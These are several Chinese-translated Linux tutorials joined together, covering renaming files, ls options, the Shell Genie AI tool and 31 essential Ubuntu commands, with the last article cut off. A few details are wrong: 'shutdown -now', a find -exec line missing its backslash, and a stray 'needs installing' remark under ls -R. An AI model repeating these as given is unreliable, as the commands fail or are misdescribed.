在这篇基本命令行教程中，你将学习在 Linux 终端重命名文件和目录的各种方法。如何在 Linux 终端中重命名文件和目录？你可以使用 mv 命令。是的，与用于将文件和文件夹从一个位置“移动”到另一个位置的 mv 命令相同。你可以在“移动文件和目录”时简单地指定文件和目录的新名称。要重命名文件，请使用：mv old_file new_file 同样，要重命名目录，请使用：mv old_dir new_dir 听起来很容易，对吧？ 但我将在这里详细讨论文件重命名：向你展示重命名的实际示例显示通过结合 find 和 exec 命令批量重命名多个文件的示例讨论用于批量重命名文件的专用程序我们来一一看看。使用 mv 命令重命名文件和目录使用 mv 命令重命名同一目录中的文件：mv file1.txt file2.txt 同样，你可以重命名同一位置的目录：mv dir1 dir2 这是我重命名文件和目录的示例：如你所见，与 cp 命令 不同，你不必使用递归选项来通过 mv 命令 处理目录。? 如果你尝试使用相同的名称重命名该文件，你会看到一个错误（显然）。你还可以在将文件移动到另一个位置时重命名它：mv old-file-name another_dir/new-file-name 在下面的示例中，我将名为 firefox-quiz.txt 的文件移动到示例目录。在这样做的同时，我将其重命名为 quiz.txt。我将其视为剪切粘贴操作。? 虽然你可以将多个文件移动到另一个位置（mv file1 file2 file2 dir），但你不能使用 mv 重命名多个文件。为此，你必须采用我在以下部分中讨论的其他策略。通过组合 mv、find 和 exec 命令重命名与某个模式匹配的多个文件? 批量重命名此类文件时要格外小心。一步错误的举动就会导致无法挽回的不良结果。find 命令用于根据文件名、类型、修改时间和其他参数在给定目录中查找文件。exec 命令与 find 结合使用，对 find 命令的结果执行命令。使用 find、exec 和 mv 命令没有固定标准的结构。你可以根据需要组合它们。假设你想通过在名称中添加 _old 来重命名当前目录中以 .txt 结尾的所有文件。所以 file_1.txt 变成 file_1.txt_old 等等。find . -type f -name "*.txt" -exec mv {} {}_old ; 这只是一个示例，你的重命名要求可能会有所不同。另外，以上仅适用于不带空格的文件名。专业提示：在处理这样的批量操作时，你可以巧妙地使用 echo 命令来查看将执行什么操作，而不是实际执行它。如果看起来不错，那就采取实际行动吧。例如，首先查看哪些文件将被重命名：find . -type f -name "*.txt" -exec echo mv {} {}_old \; 如你所见，实际上没有重命名任何文件。但是，如果你在没有使用回显（echo）命令的情况下运行上述命令，你将看到将执行什么命令。如果你觉得没问题，请删除 echo 命令并继续进行实际的重命名。find . -type f -name "*.txt" -exec mv {} {}_old \; 我在 《Efficient Linux 命令行》一书中学到了这个技巧。一本充满了这样的小宝石的优秀书。难怪它已成为 我最喜欢的 Linux 书籍之一。使用 rename 命令轻松重命名多个文件有一个名为 rename 的便捷命令行程序，可用于根据给定的 Perl 正则表达式模式批量重命名文件。该实用程序不是 GNU 工具链的一部分，也不是预安装的。因此，你必须首先使用发行版的包管理器来安装它。对于 Debian/Ubuntu，命令为：sudo apt install rename 你可以通过以下方式使用它：rename [options] perl_regex [files] 选项有：-v : 详细模式-n ：无操作，显示将被重命名的文件，但不重命名它们-o : 不覆盖-f : 强制覆盖现有文件-s : 不重命名软链接，只重命名其目标现在，让我们采用你在上一节中看到的相同示例。将 *.txt 重命名为 .txt_old。rename 's/\.txt$/.txt_old/' ** 我不打算在这里解释正则表达式。** 表示查看所有子目录中的所有文件。正如你所看到的，它按预期工作。总结我希望你喜欢这个技巧，它可以帮助你学习在 Linux 命令行中执行基本任务。当然是针对那些想学习和使用命令行的人。桌面用户始终拥有用于此类任务的 GUI 工具。如果你对 Linux 命令完全陌生，本系列将对你有很大帮助。终端基础：Linux 终端入门如果你有疑问或建议，请告诉我。via: https://itsfoss.com/linux-rename-files-directories/作者：Abhishek Prakash 选题：lujun9972 译者：geekpi 校对：wxy本文由 LCTT 原创编译，Linux中国 荣誉推出
ls 属于 Linux 中那些简单又常用的命令之一。在本教程里，你将学到如何高效使用它。对我个人而言，ls 无疑是 最常被使用的 Linux 命令，因为我们总是借助它 列出目录内的内容 来检验上一步操作的结果。ls 命令是 “ 列表 List ” 的缩写，其功能就是列出你指定目录下的所有内容。我将在本教程中，通过一系列的实例，带你一步步掌握 ls 命令的使用。另外也会给出一些练习题，以检验你的学习成果。如何运用 ls 命令要使用 ls 命令，你只需遵循以下简单的命令格式：ls [OPTIONS] Targeted_Directory 这里，[OPTIONS]：用来改变 ls 命令的默认行为。Targeted_Directory：在这里输入目录名或目录的绝对路径。你可能会想，如果没有任何选项地使用 ls 命令会发生什么。为了回答这个问题，我在当前工作目录中使用了 ls 命令：如你所见，它列出了当前工作目录中所有可用的目录和文件。但你可以做的远不止于在当前工作目录中获取名称和文件。接下来让我给你展示一下。1、列出带有所有权的文件和目录ls 命令的重要用途之一就是查出具体的文件或目录的权限以及所有权信息。这就需要你在使用 ls 命令时，带上 -l 选项（这也被称为长列表格式）：ls -l 执行该命令后，你会看到类似的输出：$ ls -lh -rwxrw-r-- 1 sagar sagar 666M Dec 10 18:16 Fedora.iso 注意到我是同时使用了 –h 选项吗？我们稍后会详细说明这个。如果目前为止的输出结果看起来太复杂，那就让我来帮你简化一下：如你所见，每个文本块都有特定的含义，它们分别对应文件拥有者、组和其他用户的各项权限。对于想对文件权限有更深入理解的朋友，我推荐你阅读 我们关于 Linux 文件权限的详尽指南。2、获取以人类可读的方式显示的信息默认状态下，文件大小以字节为单位显示，显然不是最佳的查阅方式。那如果想以更易读的方式来得知相同的信息，我们怎么做呢？其实很简单。你只需使用 -h 选项与 ls 命令配合：ls -l -h 接下来，我们比较下默认显示状态和可读性更强的显示方式的区别：明显更好了，对吧？? 尽管 ls 命令很好地展示了文件大小，但它并不能告诉你文件夹的大小，普遍情况都会显示为 4K（LCTT 译注：这其实是“目录”这个文件所占用的大小，而不是该目录下文件的总计大小。）。如果需要了解文件夹的大小，那么你可以尝试使用 du 命令。3、列出隐藏文件和其他所有文件管理器一样，ls 命令在默认情况下并不会显示隐藏文件（这正是隐藏文件的意义所在，对吧？）。那么，如果你期望在常规文件之外，一并 列出隐藏文件 呢？只需在使用 ls 命令时带上 -a 选项就行：ls -a 你会注意到，以 . 开头的文件名就是所谓的隐藏文件。? 你还可以使用 ls -A，它的功能与 ls -a 类似，但它不包括 . 和 .. 这两个目录。4、递归列出文件事实上，有 多种方法可以递归列出文件，使用 ls 命令就是其中之一。如果你还不清楚，递归列出文件就是指展示所有子目录中的文件，直到每个子目录的最深层次。你可以通过使用 -R 参数来递归列出文件：ls -R 这种方式实际上为你展示了当前目录的结构，我个人非常喜欢这种方式，但你需要先进行安装。? 其实你并不需要进入某个目录才能查看其内容，你可以直接通过提供它的绝对路径或相对路径来列出目录内容，比如：ls /var/log。5、在使用 ls 时对文件和目录做区分通常，不同的颜色就足以区分文件和目录。但是如果你基于某种原因需要给文件和目录添加符号标识，这就有一个办法。在 ls 命令中，使用 -F 选项，它会在每个目录名末尾添加一个正斜杠 /：ls -F 6、列出指定扩展名的文件有些情况下，你可能只希望列出具有特定扩展名的文件，实际上，这是最简单的操作之一。做到这一点，你无需使用任何选项。只需在星号 * 后附上文件扩展名，如 *.png，*.txt 等：ls *.extension 例如，如果我只想列出 ISO 文件，那么我将使用以下命令：ls *.iso 7、基于大小对输出内容排序若希望基于文件大小来对输出内容排序，你需要使用 -S 选项，它会以从大到小的方式（降序）列出文件：ls -lhS 相反，如果你想颠倒这个顺序，使得最小的文件首先被列出，你可以利用 -r 选项来实现反向排序：ls -lhSr 8、根据日期和时间排序文件ls 命令在列出的内容中包括文件的修改时间。如果你希望最新的文件最先被列出，可以使用 -t 选项，如下所示：ls -lht 你也可以像我前面提到的那样，在这里使用 -r 选项进行反转排序。ls -lrt 这会使得最近修改的文件在列表的底部显示，当目录中存在大量文件，而你希望查看最近被修改过的文件时，这一命令会特别有用。我在解决我的软件项目问题时就经常用到它。让我们来总结一下至此你已经学习到的！下面，我会共享一个表列出本教程中介绍过的一些与 ls 命令一起使用的选项：命令描述ls -l长格式列出文件和目录ls -lh以人类可读的方式显示信息ls -a在列出的内容中包括隐藏文件ls -R递归列出文件ls -F在目录名后添加正斜杠ls *.ext列出具有特定扩展名的文件ls -lS根据文件大小排序ls -lt根据修改时间排序-r反转排序顺序（与 -S 或 -t 结合使用）?️ 并练习你所学实践你所学总是一个好主意，这就是我们在每一份终端指南中都试图添加实践部分的原因。所以，这里有一些关于 ls 命令的简单练习：列出 /var/log 的内容将命令的输出 保存到名为 output.txt 的文件中找出最近的 3 个文件（使用基于时间的排序）基于大小显示文件，但排序方式要反转检查是否存在任何隐藏文件这些练习对你来说会很有帮助。期待之后更多关于 Linux 命令的学习。如果你是初次接触终端，别忘了关注我们的终端基础系列。祝你日有进益 ?（题图：MJ/8fb35776-5192-43ca-b96d-31bbd77c3318）via: https://itsfoss.com/ls-command/作者：Sagar Sharma 选题：lkxed 译者：ChatGPT 校对：wxy本文由 LCTT 原创编译，Linux中国 荣誉推出
即使是专家级的 Linux 用户也不记得所有的 Linux 命令和它们的选项。这对我们人类来说是不可能的。但是机器呢？尤其是人工智能驱动的机器？想象一下，如果你可以“命令”你的终端“显示过去 12 小时内修改过的所有小于 100 MB 的文件”。当然，你可以使用 Linux 命令“命令”它，但是用普通的英语进行交互呢？由于人工智能的进步，这实际上是可能的。下面是自动生成 Linux 命令以显示当前目录中所有小于 10 KB 的文件的示例。我使用的工具叫做 Shell Genie。它是一个命令行工具，可让你以普通的英语与终端进行交互。它可以生成命令、运行命令（如果需要），还可以向你解释生成的命令。Shell-Genie 的特点将普通英语转换为 Linux 命令。提供了一个需要 openAI 的 API 密钥的 openAI gpt3 后端，和一个可以免费使用的 free-genie 后端。提示一个选项以运行你要求的命令。解释生成的命令。安装 Shell GenieShell-genie 在任何发行版的默认仓库中都不可用。你可以使用 pipx 安装它。要安装它，你需要安装 Python 3.10+ 和 Pip。你可以参考我们关于 如何在 Ubuntu 和其他 Linux 发行版中安装 pip 的文章。安装 pip 后，使用以下命令安装 pipx：python3 -m pip install --user pipx python3 -m pipx ensurepath 现在，重启终端并运行以下命令安装 shell-genie：pipx install shell-genie 这可能显示错误或需要依赖项。运行提示的命令来安装所需的依赖。在我的例子中：sudo apt install python3.10-venv 之后，再次运行 shell-genie 安装命令，就可以安装了。安装完成后，运行以下命令：shell-genie init 这将要求你选择后端，openAI 或 free-genie。如果你有 openAI API，你可以选择它或继续使用 free-genie。? free-genie 后端可能并不总是工作，因为它是由开发者托管的，他警告说可能会出现中断。然后它将请求允许报告反馈。用 y/n 来决定。现在就可以使用了。使用 Shell-genie? 如果你要进行实验，请尽量不要使用带有 sudo 或删除文件的命令。不要将你的机器交到机器手中。如上所述，shell-genie 提供了两种工作模式：从普通的英语获取命令获取命令解释从普通英语中获取 Linux 命令你可以使用 shell-genie 的 ask 选项从普通的英语中获取命令。例如：shell-genie ask "Display only the folders of this directory" 这将显示正确的命令，并提示我们是否运行该命令。获取带解释的 Linux 命令你可以使用 shell genie 来解释你要运行的一些命令。shell-genie ask "display all files smaller than 10kb in here" --explain 上面的命令首先会显示需要的命令并进行解释，然后提示用户是否执行。总结有像 Explain Shell 这样的工具（试图）解释 Linux 命令。但是这个 Shell genie 通过从普通的英语生成命令将它提升到一个新的水平。当然，不能一味依赖人工智能。如果你对 Linux 命令有一定的了解，可以使用 Shell Genie 生成适合你的命令。你不必为手册页或各种网站而苦恼。它可以帮助你在终端中更快地做事，也可以减少你的知识储备。为什么？ 因为你越依赖它，你自己学的就越少。这就是我所想的。 无论你同意或不同意我的观点，都可以在评论中发表你的看法。（题图：MJ/chatgpt commands linux cli illustration in high resolution, very detailed, 8k）via: https://itsfoss.com/linux-terminal-ai/作者：Sreenath 选题：lkxed 译者：geekpi 校对：wxy本文由 LCTT 原创编译，Linux中国 荣誉推出
哪些是最基本的 Linux 的命令？经常有读者问我这个问题，我一直试图避免回答这个问题。为什么呢？我不知道 Linux 命令吗？不是的。这不是原因。而是因为很难对它们进行分类。对我来说必不可少的东西对你来说可能并不重要。但我想这适用于所有的东西，我们网站上的每一个这样的推荐应用程序列表也都是这样。这就是为什么我最终放弃了，并创建了这个基本但重要的 Linux 命令列表，它应该对作为 Linux 用户的你有所帮助。这更多的是针对 Ubuntu 这样的桌面用户，但如果你把 Ubuntu 作为服务器使用，它们也应该对你有所帮助。Linux 的基本命令我在这里列出的每个命令都有多个选项和多种用途。如果我尝试给出每个命令的最常见的例子，它将很容易变成一本超过一万字的口袋书。我不会详述这些命令中的任何一个。我将列出每个命令的目的及其基本语法。你可以从这些命令的链接教程中阅读更多关于使用这些命令的信息。在你开始阅读列表之前推荐阅读：Linux 中路径的概念文件权限的概念了解 Linux 终端的行话还有一件事。我在这里更多地使用了文件夹这个术语，而不是目录。在 Linux 中文件夹被称为目录，有些人可能不喜欢这样。然而，我相信对于初学者来说，这更容易掌握。1、ls 命令：列出一个文件夹的内容这是一个新的 Linux 用户最先学会的几个命令之一。这个命令可以让你看到当前文件夹里有哪些文件和文件夹。ls 你可以使用长列表选项 ls -l 来查看细节，如文件大小、权限、修改时间等。如果你想，你可以对这些选项进行排序和控制。ls -l 推荐阅读：ls 命令示例2、cd 命令：改变目录默认情况下，你从你的主目录下开始。你经常需要改变目录并移动到另一个目录。例如，你下载了一个 deb 文件或脚本。现在你想运行它。你可以通过提供完整的路径从你现在的工作目录运行它，但是切换到下载的位置会让事情更简单。cd 命令代表“ 改变目录 change directory ”，你可以改变你的位置，移动到另一个目录。在这一点上，我强烈建议阅读关于 Linux 中路径的概念，这样在 Linux 命令行中浏览目录时，事情就容易理解了。推荐阅读：cd 命令示例3、cat 命令：读取一个文本文件如果你想在 Linux 中快速查看一个文本文件的内容，cat 是你需要使用的命令。它在屏幕上显示内容。cat filename 你也可以使用 cat 命令来创建新的文件或给现有文件添加更多的文本。推荐阅读：cat 命令的例子4、less 命令：读取一个大的文本文件cat 命令对于查看小的文本文件已经足够了。但是，如果你有一个有数百行的巨大文本文件，我不建议使用 cat。它将用所有的文本淹没你的屏幕，而你将很难处理它。这就是 less 命令有用的地方。当你用 less 打开一个文件时，它会分页打开文件。你可以向上/向下滚动，寻找文本等等。一旦你读完了文件，你可以按 Q 键退出 less 视图。你会注意到，屏幕上什么都没有显示。你的屏幕是干净的。推荐阅读：less 命令示例5、touch 命令：创建新文件在 Linux 终端中，有多种创建新文件的方法。你在上面看到的 cat 命令也可以创建新文件。然而，我更喜欢用 touch 命令来实现这一目的。touch new_file_name 如果你对现有的文件使用它，它们的时间戳会被修改。推荐阅读：touch 命令示例6、mkdir 命令：创建新的文件夹虽然没有创建新文件的特定命令，但有一个专门的命令用于创建新的文件夹（或目录，我们在 Linux 中称之为“目录”）。mkdir new_dir 推荐阅读：mkdir 命令示例7、cp 命令：复制文件和文件夹在命令行中复制文件和文件夹也是你会遇到的常见任务之一。cp 命令是“ 复制 Copy ”的简称，用于这一目的。想象一下，你必须修改一个配置文件。一个聪明的做法是用另一个名字复制该文件。这样一来，你就有了一个文件的备份。cp existing_file.txt existing_file.back 你也可以使用同样的 cp 命令来复制目录。为此，你必须指定递归选项 -r。cp -r dir another_location 推荐阅读：cp 命令示例8、mv 命令：剪贴或重命名文件和文件夹mv 命令是 “ 移动 Move ” 的意思。当你把一个文件复制到另一个地方时，它仍然保留在原来的地方。mv 命令将文件和文件夹移动到另一个位置。你可以把它看作是一个剪切-粘贴的操作。mv file.txt /another/location 你也可以使用 mv 命令来重命名文件。mv file.txt new_file.txt 同样的 mv 命令也可以移动或重命名文件夹，不需要任何特殊的选项。推荐阅读：mv 命令示例9、rm 命令：删除文件和文件夹要在 Linux 终端中删除文件，你可以使用 rm（“ 删除 Remove ”的缩写）命令。rm filename 在命令行中删除文件后，没有撤销选项。这就是为什么你在删除文件时要非常小心。如果你害怕删除错误的文件，可以使用选项 -i 的交互式模式，它给你一个额外的提示来确认操作。rm -i filename 使用递归选项 -r，你也可以使用相同的 rm 命令来删除文件夹。推荐阅读：rm 命令示例10、nano 命令：编辑文件迟早有一天，你会被要求对一个文件的内容进行修改。想象一下，你必须改变 SSH、Grub 或其他一些应用程序的配置文件。有一些 基于命令行的 文本编辑器可以达到这个目的。Ubuntu 预装了 Nano 编辑器，它比 Vim、Emacs 等更容易使用。如果你好奇它们有什么不同，请阅读我们的 Nano vs. Vim 对比 文章。更容易使用并不意味着和基于 GUI 的文本编辑器一样舒适。你将不得不使用键盘快捷键来移动、修改、保存和退出文件。要用 nano 打开一个新的、未命名的文件，请使用：nano 要在 nano 中编辑一个现有的文件，请使用：nano filename 在这两种情况下，你都应该看到一个类似这样的界面。要保存（或放弃修改）并退出编辑器界面，请使用 Ctrl+x 键。请参考我之前创建的 nano 初学者指南 来适应它。11、clear 命令：清除终端屏幕Nano 感觉很复杂，对吗？让我来分享一个简单的命令。clear 命令可以清除终端。就是这样。clear 你为什么需要这样做呢？嗯，如果你的终端屏幕充斥着随机的东西，而你想做一些新的事情。清理终端就像清理黑板或在你的笔记本上打开一个新页。12、ps 命令：检查和管理进程ps 命令是用来管理你系统上运行的进程的。每个进程都有一个相关的 ID，称为 PID，它可以用于各种目的，例如 终止一个进程。~$ ps pid tty time cmd 15358 ? 00:00:00 bash 15404 ? 00:00:00 ps 这里，PID：进程 IDTTY：与进程相关的控制终端（现在已经不那么重要了）TIME：总的 CPU 使用时间CMD：运行该进程的命令名称但一个系统不可能只运行两到三个进程，不是吗？要查看所有用户运行的所有进程，请使用：ps aux 这将给出一个庞大的进程列表和关于它们的更多细节。如果你运行这个命令，现在将是使用 clear 命令的绝佳时机。推荐阅读：ps 命令示例13、top 命令：系统监控ps 命令给你提供了所有正在运行的进程，而 top 命令给你提供了进程和系统资源消耗的实时视图。top 把它看作是 Linux 中任务管理器的终端版本。通过 top 命令，你会看到很多有趣的细节。我主要使用 top 命令来检查哪个进程占用了太多的 CPU 或内存。如果你有兴趣做实验，还有 更好的 top 替代品。要 停止运行的 top 命令，请使用 Ctrl+C 键盘快捷键。推荐阅读：有效使用 top 命令作为任务管理器14、lsblk 命令： 列出磁盘和分区lsblk 命令列出了你系统中所有的块设备。用非常简单（技术上不完全准确）的术语来说，它显示的是磁盘和分区。~# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS loop0 7:0 0 79.9M 1 loop /snap/lxd/22923 loop1 7:1 0 103M 1 loop /snap/lxd/23541 loop2 7:2 0 63.2M 1 loop /snap/core20/1623 loop3 7:3 0 48M 1 loop /snap/snapd/17336 loop4 7:4 0 48M 1 loop /snap/snapd/17029 loop6 7:6 0 63.2M 1 loop /snap/core20/1634 vda 252:0 0 25G 0 disk ├─vda1 252:1 0 24.9G 0 part / ├─vda14 252:14 0 4M 0 part └─vda15 252:15 0 106M 0 part /boot/efi vdb 252:16 0 466K 1 disk ~# 15、fdisk 命令：列出并管理磁盘和分区另一个类似但更好的命令是 fdisk 命令。它可以让你操作磁盘的分区。这意味着你可以用这个命令创建新的分区，删除和调整现有分区的大小。你还可以用它来列出系统中所有的块设备，包括 回环设备。sudo fdisk -l 如果你有许多分区、磁盘和回环设备（由 Snap 应用程序创建），输出结果可能是巨大的。我在这里展示的是输出的相关部分：Disk /dev/vda: 25 GiB, 26843545600 bytes, 52428800 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: 0B7C796D-51CD-4DD4-962A-7D94B31690E2 Device Start End Sectors Size Type /dev/vda1 227328 52428766 52201439 24.9G Linux filesystem /dev/vda14 2048 10239 8192 4M BIOS boot /dev/vda15 10240 227327 217088 106M EFI System 16、find 命令：搜索文件即使作为一个桌面用户，你也会遇到在 Linux 命令行中搜索文件的情况。find 命令是一个用于此目的的广泛而通用的命令。它有 50 多个选项，而你可能永远不会需要所有的选项。下面是一个 find 命令的例子，它将给你提供当前目录中所有以 .txt 扩展名结尾的文件。find . -type f -name "*.txt" 其他常见的例子包括按大小、修改时间等查找文件。你可以 将 find 与 exec 或 xargs 结合起来，对 find 命令的结果采取行动。例如，你可以寻找所有的 .txt 文件并选择删除它们。推荐阅读：find 命令示例17、grep 命令：在文件内容中搜索find 命令根据文件的名称和类型来搜索文件。如果你想根据文件的内容进行搜索，你可以使用 grep命令。因此，与其寻找所有以 .txt 结尾的文件，不如用 grep 寻找所有包含文本 foss 的文件。grep -ri search_term 想学习更多吗？这里有一些更多的 grep 命令示例。方便的 grep 速查表 应该可以帮助你。18、kill 命令：终止进程暴力不是答案......它是解决方案。开个玩笑！如果你有一个行为不端的进程，占用了太多的系统资源，你可以 找到它，然后终止 它，使用 kill 命令 就行。sudo kill -9 process_ID_or_Name 正如你在上面的命令中看到的，你需要知道进程 ID（PID）或进程名称来终止它。你可以使用 ps 或 top 命令来获得 PID或确切的进程名称。ps aux | grep -i “name of your desired program” 你注意到 grep 命令的使用了吗？你已经在利用这个列表中提到的命令了。我不知道你怎么想的，但是当我寻找流氓进程来终止时，我觉得自己就像 《飓风营救》中的连姆·尼森。19、history 命令：回头看看你过去运行了哪些命令比如，你在几天前使用了一个特定的 Linux 命令。现在你需要再次运行它，但你不能正确地想起它。你可以按上下方向键。这对许多 Linux 用户来说是一个熟悉的场景：这就是 history 命令的作用。在 Ubuntu 中，你的 Shell 会保存你所运行的命令的历史。在终端输入 history，你会看到你过去运行的命令的历史。你可以选择从历史记录中运行一个条目，使用其编号，像这样。!number 但即使是历史记录也可能是巨大的，所以（再次）使用 grep 命令来过滤你的搜索词。~$ history | grep aux 1915 ps aux 1952 ps aux | grep -i spotify 1955 ps -aux | grep -i calculator 1957 ps -aux | grep -i calculator 1959 ps -aux | grep -i calculator 1970 history | grep aux 还有一种方法可以进入命令历史并进行搜索。按 Ctrl+R，然后输入搜索词。推荐阅读：history 命令示例20、chmod 命令：改变文件权限我强烈建议在这个阶段阅读有关 Linux 文件权限。这将有助于你更好地理解，而不是盲目地运行 chmod 命令。chmod（“ 改变模式 change mode ”）命令是用来改变文件的权限的。这个命令最常见的用途是当你想让一个文件可执行时。有一个Shell脚本？像这样让它可执行：chmod u+x file-executable 还有更多的使用情况，使 chmod成为 Ubuntu 用户必须知道的命令。有趣的事实：chmod 777 命令为所有用户提供了所有的权限。这代表了我们的座右铭是 “让每个人都能获得知识”。21、lshw 命令：获取硬件细节在 Linux 中，有大量的命令行 工具可以用来获取硬件细节 和其他系统信息。可能预装在 Ubuntu 上的是 lshw（“ 列出硬件 list hardware ”的缩写）。现在，默认情况下，它显示了大量关于所有硬件组件的详细信息，相信我，这不是很容易理解。lshw 你可能会感到在这里使用 grep 的诱惑，但没有必要这样做。lshw 的输出被分成几类，你可以用它来显示一类硬件的细节。想知道你的网络适配器的制造商？使用这个：lshw -C network 22、sudo 命令：以 root 权限运行命令你一定注意到，我在之前讨论的一些命令中使用了 sudo 作为前缀。默认情况下，在 Ubuntu 中，sudo 的配置方式是，它允许你（默认的管理用户）以 root 权限运行任何命令。你被要求输入一个密码，而且是你的用户账户密码。当你输入密码时，屏幕上没有任何显示。新用户对此感到困惑，但这是 UNIX/Linux 的预期行为。你输入密码并按回车键。推荐阅读：Ubuntu 中的 root 用户23、apt 命令： 安装、删除和管理 .deb 包在 Ubuntu 中，apt 命令被用来管理软件包。你必须和 sudo 一起使用它，因为这些是管理任务。要安装一个软件包，请使用：sudo apt install package_name 要删除一个安装软件，请使用：sudo apt remove package_name 要一次性用所有可升级的软件包更新你的 Ubuntu 系统：sudo apt update && sudo apt upgrade apt update 和 upgrade 的区别 是：update 会刷新软件包的缓存，而 upgrade 则是实际安装更新。apt 命令还有很多内容。你可以阅读 这个详细的 apt 命令指南。24、add-apt-repository 命令：添加和删除 PPA好吧，这个命令已经不像十年前那么流行了。你仍然会在这里和那里遇到 add-apt-repository 命令。它是用来管理你系统中的 PPA（非官方的、用户生成的软件库）。在跟随网络上的教程时，你可能会遇到由三行组成的安装说明：sudo add-apt-repository ppa:dr-akulavich/lighttable sudo apt update sudo apt install lighttable-installer 第一个命令是添加 PPA（外部资源库）。你已经熟悉了下面两条，它们用于更新软件包缓存和安装你刚刚添加的 PPA 仓库提供的软件。要删除一个 PPA，你应该首先删除你从它那里安装的软件，然后像这样删除它：sudo add-apt-repository -r ppa:dr-akulavich/lighttable 我有一篇 关于 PPA 的完整指南，可以了解关于这个主题的更多细节。25、snap 命令：安装、删除和管理 Snap 包到目前为止，你知道 apt 软件包和它们的管理。然而，Ubuntu 也使用并积极推荐使用其 Snap 打包格式。学习一些基本的 snap 命令将帮助你有效地管理这些软件包。要找到一个软件包，请使用：snap find search_term 要安装一个软件包，请使用：sudo snap install package_name 要列出已安装的 Snap 应用程序：snap list 要删除一个已安装的 Snap 应用程序，请使用：sudo snap remove package_name 26、ip 命令：检查 IP 地址和其他信息ip 命令可以让你 检查你的 IP 地址。你还可以查看和操作路由、网络设备等。ip a 27、ping 命令：检查远程系统是否可达ping 是另一个你应该知道的 Linux 网络命令。要检查一个远程系统是否可用，把它的 IP 地址给 ping 命令：ping ip_address 你也可以用它来检查一个网站是否关闭，尽管现在它不是很准确。使用 Ctrl+C 来停止运行的 ping 命令。推荐阅读：ping 命令示例28、ssh 命令：连接到远程系统我对把 ssh 添加到必须知道的 Linux 命令列表中持怀疑态度。许多桌面用户可能不需要它。SSH 被用于从你的终端连接到其他 Linux系统。ssh user@address_of_remote_system 当然，你需要知道远程系统的用户和密码。如果你有云服务器或家庭设置，其中有其他 Linux 系统，你可以用它从你的主系统连接到它们。29、scp 命令：在远程系统之间复制文件既然我在列表中包括了 ssh，那么包括一些 通过 SSH 连接在远程系统之间传输文件的命令 才是公平的。scp 命令的工作原理与你之前看到的 cp 命令差不多。下面是一个例子，它把文件从远程系统上的用户的主目录复制到你本地登录系统的当前目录。scp user@remote_address:/home/username/filename . 推荐阅读：scp 命令示例30、exit 命令：关闭终端Linux 的基本命令列表就要结束了。那么让我们来谈谈退出终端的问题。这很简单。只要输入exit 如果你正在使用另一个用户或 Shell，你就会从那里注销。你也可以使用 Ctrl+D 键来退出终端。31、shutdown 命令：关闭或重启系统好了。如果你还没有退出终端，让我分享一个最后的命令。从命令行中 关闭你的系统 怎么样？使用 shutdown 命令 来达到这个目的：shutdown 上述命令 安排在一分钟内关机。你可以用以下方法让它立即关闭：shutdown -now 你也可以使用同样的关机命令来 重启你的 Ubuntu 系统。shutdown -r now 更多：man 命令：详细了解命令还有一个，这也是最后一个，我保证。所有的 Linux 系统都有一个命令的手册。它被称为手册页，你可以通过以下方式访问已安装命令的手册页：man command_name 了解手册页 对于新用户来说，可能会让人不知所措，但它却很方便。它为你提供了一个命令的通用语法和所有选项的描述。当你对使用一个命令没有把握时，可以先查看它的手册页，然后再在网上搜索它。总是有更多……这只是大约 30 个命令。而且这还不到 Linux 命令的20%。我还没有涉及很多网络命令。我甚至没有涉及用户管理命令。我在写这篇文章时，考虑到了普通的 Ubuntu 桌面用户。这些是你更可能使用的命令。从长远来看，掌握一些这方面的知识会很有帮助。除此以外，学习是没有止境的。即使是最老练的 Linux 用户也会不断发现和学习新东西。考虑到你对学习 Linux 命令感兴趣，让我推荐一些 好的 Linux书籍 和资源。Linux 如何工作：解释了 Linux 如何工作，而不是命令。William Shotts 的《Linux 命令行》：可以合法地免费下载 PDF 格式的文件。Daniel J Barrett 的《Linux口袋指南》：将 Linux 命令分为不同的类别，并通过小例子进行简单的解释。快速学习 Linux：完全专注于 Linux 命令，有适当的例子和练习。除此之外，你还可以从 Linux Journey 和 Linux Handbook 等网站学习。我知道你已经读了很久了，但这还不到冰山一角。总有更多的东西需要学习，但也不是说如果你不知道所有的 Linux 命令，你就必须感到痛苦。没有人知道所有的东西。现在，轮到你了。你觉得这份 Linux 命令列表有帮助吗？如果你要在其中增加一些命令，会是什么？评论区是你的。via: https://itsfoss.com/essential-ubuntu-commands/作者：Abhishek Prakash 选题：lkxed 译者：wxy 校对：wxy本文由 LCTT 原创编译，Linux中国 荣誉推出
我向所有的 Linux 初学者推荐以下这些命令。在使用 Linux 命令行时，很容易就会迷失方向，这可能会导致灾难性的后果：我有一次使用删除命令 rm 删除文件，然而删除之后我才意识到我刚刚是删除了计算机的引导目录。后来，我学会了使用 pwd 命令，来知道当前在文件系统的哪个目录下；并且我使用了 trashy 和 trash-cli 这一命令行回收站工具（LCTT 译注：在删除文件时 trash-cli 会充当中间人，将文件先“删除”到桌面上的垃圾箱中，能够通过垃圾箱或通过终端的 trash 命令，来恢复垃圾箱中已删除的文件。）当我刚开始使用 Linux 时，我有一个放在桌子上的“速查表”，它就是《101 条你应该知道的 Linux 命令》，我在管理 Linux 服务器时能参考速查表上面的这些命令。随着我越来越熟悉这些命令，我越来越精通服务器管理了。以下是我认为最有用的 12 个 Linux 命令。1、打印工作目录（pwd）pwd 命令会打印出你的工作目录。换句话来说，它输出你当前所在目录的路径。pwd 命令有两种选项：-L 或 --logical（即逻辑路径）用来打印当前的目录路径（不解析符号链接），-P 或 --physial（即物理路径）会打印出解析符号链接后的物理目录。（LCTT 译注：你可以进一步阅读我们翻译的 另一篇文章。）2、创建目录（mkdir）使用 mkdir 命令来创建一个新目录，是非常容易的。以下命令，创建了一个名为 example 目录（若 example 已存在，则无法创建）：$ mkdir example 你也可以在嵌套地创建目录及其子目录：$ mkdir -p example/one/two 如果目录 example 和目录 one 都已存在，则仅会创建目录 two。如果上述目录都不存在，则会创建这三个嵌套的目录。3、列出文件（ls）我最早使用的是 MS-DOS（微软磁盘操作系统），因此我习惯于使用 dir 命令，来列出文件。我不记得当时是否能在 Linux 上使用 dir 命令，但是如今 dir 命令已经包含在 GNU 核心实用程序包 GNU Core Utilities package 中了。大多数人会使用 ls 命令，来显示目录中的文件及其所有的属性。ls 命令有许多选项，包括 -l 查看文件的长列表，显示文件所有者和权限等信息。4、更改当前工作目录（cd）在 Linux 中经常要更改当前工作目录，这就是 cd 命令的功能。例如，以下的示例将让你从 主目录 home 进入 